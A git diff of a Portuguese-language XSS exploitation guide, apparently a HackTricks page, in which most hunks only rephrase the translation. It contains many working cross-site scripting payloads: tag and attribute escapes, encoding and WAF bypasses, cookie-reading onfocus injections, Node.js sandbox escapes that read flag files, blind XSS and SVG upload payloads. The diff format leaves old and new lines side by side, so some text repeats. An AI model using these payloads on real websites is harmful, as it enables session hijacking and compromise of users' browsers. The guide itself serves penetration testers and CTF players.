- Se refletido entre as tags **`<script> [...] </script>`**, mesmo que a sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro analisará as tags HTML** e depois o conteúdo, portanto, não perceberá que sua tag `</script>` injetada está dentro do código HTML.
|
||||
- Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
|
||||
- Se refletido **dentro de uma string JS** e o último truque não estiver funcionando, você precisaria **sair** da string, **executar** o seu código e **reconstruir** o código JS (se houver algum erro, ele não será executado):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var saudações = `Olá, ${alert(1)}` ``
|
||||
- Se refletido dentro de literais de modelo, você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- A **codificação Unicode** funciona para escrever **código JavaScript válido**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -89,7 +89,7 @@ Neste caso, a sua entrada é refletida entre as tags **`<script> [...] </script>
|
|||
```
|
||||
#### Elevação de Javascript
|
||||
|
||||
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes após serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
A elevação de Javascript refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas, para que seja possível explorar cenários onde um XSS está usando variáveis ou funções não declaradas.**\
|
||||
**Verifique a página a seguir para mais informações:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -100,11 +100,11 @@ A elevação de Javascript refere-se à oportunidade de **declarar funções, va
|
|||
|
||||
Várias páginas da web possuem endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum de se ver é algo como: `?callback=callbackFunc`.
|
||||
|
||||
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerable') e procurar no console por erros como:
|
||||
Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo, para 'Vulnerável') e procurar no console por erros como:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
Caso esteja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
|
||||
Caso seja vulnerável, você pode ser capaz de **disparar um alerta** apenas enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e sublinhados (**`[\w\._]`**).
|
||||
|
||||
No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso ocorre porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
|
||||
|
||||
|
@ -118,7 +118,7 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Você também pode tentar **acionar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||||
Pode também tentar **ativar funções Javascript** diretamente: `obj.sales.delOrders`.
|
||||
|
||||
No entanto, geralmente os endpoints que executam a função indicada são endpoints sem muito DOM interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
|
||||
|
||||
|
@ -130,7 +130,7 @@ Portanto, para **abusar dessa vulnerabilidade em um DOM diferente**, foi desenvo
|
|||
|
||||
### DOM
|
||||
|
||||
Há um **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
|
||||
Há **código JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -153,28 +153,28 @@ Alguns **exemplos**:
|
|||
|
||||
![de https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
|
||||
|
||||
## Injetando dentro de HTML puro
|
||||
## Injetando dentro de HTML bruto
|
||||
|
||||
Quando sua entrada é refletida **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se pode abusar de `<` para criar novas tags: Apenas tente **refletir** esse **caractere** e verifique se ele está sendo **codificado em HTML** ou **excluído** ou se está sendo **refletido sem alterações**. **Somente no último caso você poderá explorar esse caso**.\
|
||||
Para esses casos, também **tenha em mente** [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Um comentário HTML pode ser fechado usando**** ****`-->`**** ****ou**** ****`--!>`**_
|
||||
|
||||
Neste caso, e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
|
||||
Neste caso e se não houver uso de lista negra/lista branca, você poderia usar payloads como:
|
||||
```html
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Mas, se estiver sendo utilizado um sistema de listagem negra/listagem branca de tags/atributos, você precisará **forçar a barra para descobrir quais tags** você pode criar.\
|
||||
Uma vez que você tenha **localizado quais tags são permitidas**, você precisará **forçar a barra para descobrir atributos/eventos** dentro das tags válidas encontradas para ver como você pode atacar o contexto.
|
||||
Mas, se estiver sendo utilizado um sistema de listagem negra/branca de tags/atributos, você precisará **forçar a entrada de quais tags** pode criar.\
|
||||
Depois de **localizar quais tags são permitidas**, será necessário **forçar a entrada de atributos/eventos** dentro das tags válidas encontradas para ver como pode atacar o contexto.
|
||||
|
||||
### Forçando a barra em Tags/Eventos
|
||||
### Forçar entrada de Tags/Eventos
|
||||
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags você pode usar, você pode **forçar a barra em todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
Acesse [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copiar tags para a área de transferência**_. Em seguida, envie todas elas usando o Burp intruder e verifique se alguma tag não foi identificada como maliciosa pelo WAF. Depois de descobrir quais tags pode usar, você pode **forçar a entrada de todos os eventos** usando as tags válidas (na mesma página da web, clique em _**Copiar eventos para a área de transferência**_ e siga o mesmo procedimento anterior).
|
||||
|
||||
### Tags Personalizadas
|
||||
### Tags personalizadas
|
||||
|
||||
Se você não encontrou nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
Se não encontrar nenhuma tag HTML válida, você pode tentar **criar uma tag personalizada** e executar código JS com o atributo `onfocus`. Na solicitação XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
|
@ -241,24 +241,24 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
O último está a usar 2 caracteres unicode que se expandem para 5: telsr\
|
||||
O último está a usar 2 caracteres Unicode que se expandem para 5: telsr\
|
||||
Mais destes caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
|
||||
Para verificar em quais caracteres são decompostos, verifique [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
Para verificar em que caracteres estão decompostos, consulte [aqui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um formulário** com dados prepopulados, você pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
Se, para explorar a vulnerabilidade, precisar que o **utilizador clique num link ou num formulário** com dados preenchidos antecipadamente, pode tentar [**abusar do Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
|
||||
|
||||
### Impossível - Dangling Markup
|
||||
|
||||
Se você simplesmente acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque você poderia **explorar** a vulnerabilidade **sem** executar **código JS**.
|
||||
Se achar que **é impossível criar uma tag HTML com um atributo para executar código JS**, deve verificar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque pode **explorar** a vulnerabilidade **sem** executar código **JS**.
|
||||
|
||||
## Injetando dentro da tag HTML
|
||||
## Injetar dentro da tag HTML
|
||||
|
||||
### Dentro da tag/escapando do valor do atributo
|
||||
### Dentro da tag/escapar do valor do atributo
|
||||
|
||||
Se você está **dentro de uma tag HTML**, a primeira coisa que você poderia tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
Se você **não pode escapar da tag**, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (_note que neste exemplo as aspas duplas são usadas para escapar do atributo, você não precisará delas se a sua entrada for refletida diretamente dentro da tag_):
|
||||
Se estiver **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [secção anterior](./#injecting-inside-raw-html) para executar código JS.\
|
||||
Se **não conseguir escapar da tag**, pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando uma carga útil como (_note que neste exemplo são usadas aspas duplas para escapar do atributo, não precisará delas se a sua entrada for refletida diretamente dentro da tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,7 +275,7 @@ Se você **não pode escapar da tag**, você poderia criar novos atributos dentr
|
|||
```
|
||||
### Dentro do atributo
|
||||
|
||||
Mesmo se você **não conseguir escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido, se **você controla todo o valor ou apenas uma parte**, você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Mesmo que você **não consiga escapar do atributo** (`"` está sendo codificado ou excluído), dependendo de **qual atributo** seu valor está sendo refletido **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=`, você poderá fazer com que ele execute código arbitrário quando for clicado.\
|
||||
Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Burlar dentro do evento usando codificação HTML/codificação de URL**
|
||||
|
@ -309,7 +309,7 @@ Note que **qualquer tipo de codificação HTML é válida**:
|
|||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
|
||||
```
|
||||
### Protocolos Especiais Dentro do Atributo
|
||||
### Protocolos Especiais Dentro do atributo
|
||||
|
||||
Aqui você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns exigirão interação do usuário e outros não.
|
||||
```javascript
|
||||
|
@ -382,6 +382,8 @@ Você pode usar a codificação **Hex** e **Octal** dentro do atributo `src` do
|
|||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||
```
|
||||
### Reverse tab nabbing
|
||||
|
||||
### Roubo de guia reverso
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
@ -416,7 +418,7 @@ A partir de [**aqui**](https://portswigger.net/research/exploiting-xss-in-hidden
|
|||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
```
|
||||
E nos **meta tags**:
|
||||
E em **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
|
||||
|
@ -474,11 +476,11 @@ Neste caso, sua **entrada** será **refletida dentro do código JS** de um arqui
|
|||
|
||||
### Escapando a tag \<script>
|
||||
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
|
||||
Se seu código for inserido dentro de `<script> [...] var input = 'dados refletidos' [...] </script>` você poderia facilmente **escapar fechando a tag `<script>`**:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Note que neste exemplo **nem sequer fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.
|
||||
Note que neste exemplo **nem mesmo fechamos a aspa simples**. Isso ocorre porque o **parsing HTML é realizado primeiro pelo navegador**, o que envolve a identificação dos elementos da página, incluindo blocos de script. O parsing do JavaScript para entender e executar os scripts incorporados é realizado apenas posteriormente.
|
||||
|
||||
### Dentro do código JS
|
||||
|
||||
|
@ -490,8 +492,8 @@ Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde
|
|||
```
|
||||
### Literais de modelo \`\`
|
||||
|
||||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **acento grave** **` `` `**. Isso é conhecido como literais de modelo, pois permitem **incorporar expressões JS** usando a sintaxe `${ ... }`.\
|
||||
Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando acentos graves, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
|
||||
Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isso é conhecido como literais de modelo, pois permitem **incorporar expressões JS** usando a sintaxe `${ ... }`.\
|
||||
Portanto, se você perceber que sua entrada está sendo **refletida** dentro de uma string JS que está usando backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
|
||||
|
||||
Isso pode ser **abusado** usando:
|
||||
```javascript
|
||||
|
@ -536,7 +538,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
|||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**Caracteres de escape especiais**
|
||||
**Escapes especiais**
|
||||
```javascript
|
||||
'\b' //backspace
|
||||
'\f' //form feed
|
||||
|
@ -733,16 +735,16 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
## **Vulnerabilidades DOM**
|
||||
## **Vulnerabilidades do DOM**
|
||||
|
||||
Existe **código JS** que está usando **dados controlados de forma insegura por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
|
||||
**Devido à extensão da explicação das** [**vulnerabilidades DOM, ela foi movida para esta página**](dom-xss.md)**:**
|
||||
**Devido à extensão da explicação das** [**vulnerabilidades do DOM, ela foi movida para esta página**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lá você encontrará uma **explicação detalhada do que são as vulnerabilidades DOM, como são provocadas e como explorá-las**.\
|
||||
Lá você encontrará uma **explicação detalhada sobre o que são as vulnerabilidades do DOM, como elas são provocadas e como explorá-las**.\
|
||||
Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
## Outras Formas de Bypass
|
||||
|
@ -758,7 +760,7 @@ Você poderia verificar se os **valores refletidos** estão sendo **normalizados
|
|||
### Bypass Ruby-On-Rails
|
||||
|
||||
Devido às **atribuições em massa do RoR**, aspas são inseridas no HTML e, em seguida, a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
|
||||
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar o payload:
|
||||
Por exemplo de formulário ([deste relatório](https://hackerone.com/reports/709336)), se você enviar a carga útil:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
|
@ -766,9 +768,7 @@ O par "Chave","Valor" será ecoado de volta assim:
|
|||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Em seguida, o atributo onfocus será inserido e ocorrerá XSS.
|
||||
|
||||
### Combinações especiais
|
||||
### Combinações Especiais
|
||||
```markup
|
||||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||||
<input type=image src onerror="prompt(1)">
|
||||
|
@ -802,7 +802,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
Se você descobrir que pode **injetar cabeçalhos em uma resposta de redirecionamento 302**, você pode tentar **fazer o navegador executar JavaScript arbitrário**. Isso **não é trivial**, pois os navegadores modernos não interpretam o corpo da resposta HTTP se o código de status da resposta HTTP for 302, então apenas um payload de script entre sites é inútil.
|
||||
|
||||
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**neste**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Neste [**relatório**](https://www.gremwell.com/firefox-xss-302) e [**este**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) você pode ler como testar vários protocolos dentro do cabeçalho Location e ver se algum deles permite que o navegador inspecione e execute o payload XSS dentro do corpo.\
|
||||
Protocolos conhecidos: `mailto://`, `//x:1/`, `ws://`, `wss://`, _cabeçalho Location vazio_, `resource://`.
|
||||
|
||||
### Apenas Letras, Números e Pontos
|
||||
|
@ -815,7 +815,7 @@ Se você puder indicar o **callback** que o javascript vai **executar** limitado
|
|||
|
||||
> Recusou-se a executar o script de '[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque seu tipo MIME ('application/octet-stream') não é executável, e a verificação estrita do tipo MIME está ativada.
|
||||
|
||||
Os únicos **tipos de conteúdo** que o Chrome suportará para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
Os únicos **tipos de conteúdo** que suportarão o Chrome para executar um **script carregado** são aqueles dentro da constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
|
@ -839,7 +839,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
```
|
||||
### Tipos de Scripts para XSS
|
||||
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos podem ser indicados para carregar um script?
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Então, quais tipos poderiam ser indicados para carregar um script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
|
@ -891,7 +891,7 @@ Este comportamento foi utilizado em [**este artigo**](https://github.com/zwade/y
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Tipos de Conteúdo Web para XSS
|
||||
### Tipos de Conteúdo da Web para XSS
|
||||
|
||||
(De [**aqui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Os seguintes tipos de conteúdo podem executar XSS em todos os navegadores:
|
||||
|
||||
|
@ -918,9 +918,9 @@ Se a página estiver retornando um tipo de conteúdo text/xml, é possível indi
|
|||
```
|
||||
### Padrões de Substituição Especiais
|
||||
|
||||
Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuário>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``
|
||||
Quando algo como **`"alguns {{modelo}} dados".replace("{{modelo}}", <entrada_do_usuario>)`** é usado. O atacante poderia usar [**substituições de string especiais**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para tentar contornar algumas proteções: ``"123 {{modelo}} 456".replace("{{modelo}}", JSON.stringify({"nome": "$'$`alert(1)//"}))``
|
||||
|
||||
Por exemplo, neste [**relatório técnico**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||||
Por exemplo, neste [**artigo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), isso foi usado para **escapar uma string JSON** dentro de um script e executar código arbitrário.
|
||||
|
||||
### Chrome Cache para XSS
|
||||
|
||||
|
@ -928,9 +928,9 @@ Por exemplo, neste [**relatório técnico**](https://gitea.nitowa.xyz/nitowa/Pla
|
|||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Escape de Prisões XS
|
||||
### Escapando de Jaulas XS
|
||||
|
||||
Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de XSJail:
|
||||
Se você só tem um conjunto limitado de caracteres para usar, verifique essas outras soluções válidas para problemas de Jaulas XS:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -961,7 +961,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável arbitrário:
|
||||
Se **tudo é indefinido** antes de executar código não confiável (como em [**este artigo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), é possível gerar objetos úteis "do nada" para abusar da execução de código não confiável:
|
||||
|
||||
* Usando import()
|
||||
```javascript
|
||||
|
@ -970,7 +970,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
* Acessando `require` indiretamente
|
||||
|
||||
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, como este:
|
||||
[De acordo com isso](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) os módulos são envolvidos pelo Node.js dentro de uma função, assim:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
|
@ -984,7 +984,7 @@ Portanto, se a partir desse módulo podemos **chamar outra função**, é possí
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Da mesma forma que no exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
|
||||
De forma semelhante ao exemplo anterior, é possível **usar manipuladores de erro** para acessar o **wrapper** do módulo e obter a função **`require`**:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1237,7 +1237,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Payloads de Blind XSS
|
||||
### Cargas úteis Blind XSS
|
||||
|
||||
Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1281,7 +1281,7 @@ Você também pode usar: [https://xsshunter.com/](https://xsshunter.com)
|
|||
```
|
||||
### Regex - Acessar Conteúdo Oculto
|
||||
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los nos atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
|
||||
A partir [**deste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) é possível aprender que mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda é possível de ser encontrada mesmo após o valor da entrada do regex ter sido removido:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1300,7 +1300,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## Explorando outras vulnerabilidades com XSS
|
||||
## Explorando XSS em outras vulnerabilidades
|
||||
|
||||
### XSS em Markdown
|
||||
|
||||
|
@ -1334,13 +1334,13 @@ Se você não puder injetar tags HTML, pode valer a pena tentar **injetar dados
|
|||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XSS no Amp4Email
|
||||
### XSS em Amp4Email
|
||||
|
||||
AMP, com o objetivo de acelerar o desempenho da página da web em dispositivos móveis, incorpora tags HTML complementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para várias funcionalidades, acessíveis por meio de [componentes AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
O formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componentes AMP específicos para e-mails, permitindo que os destinatários interajam com o conteúdo diretamente em seus e-mails.
|
||||
|
||||
Exemplo de [**relato de XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Exemplo de [**writeup XSS no Amp4Email no Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS ao enviar arquivos (svg)
|
||||
|
||||
|
@ -1416,9 +1416,9 @@ Encontre **mais payloads SVG em** [**https://github.com/allanlw/svg-cheatsheet**
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|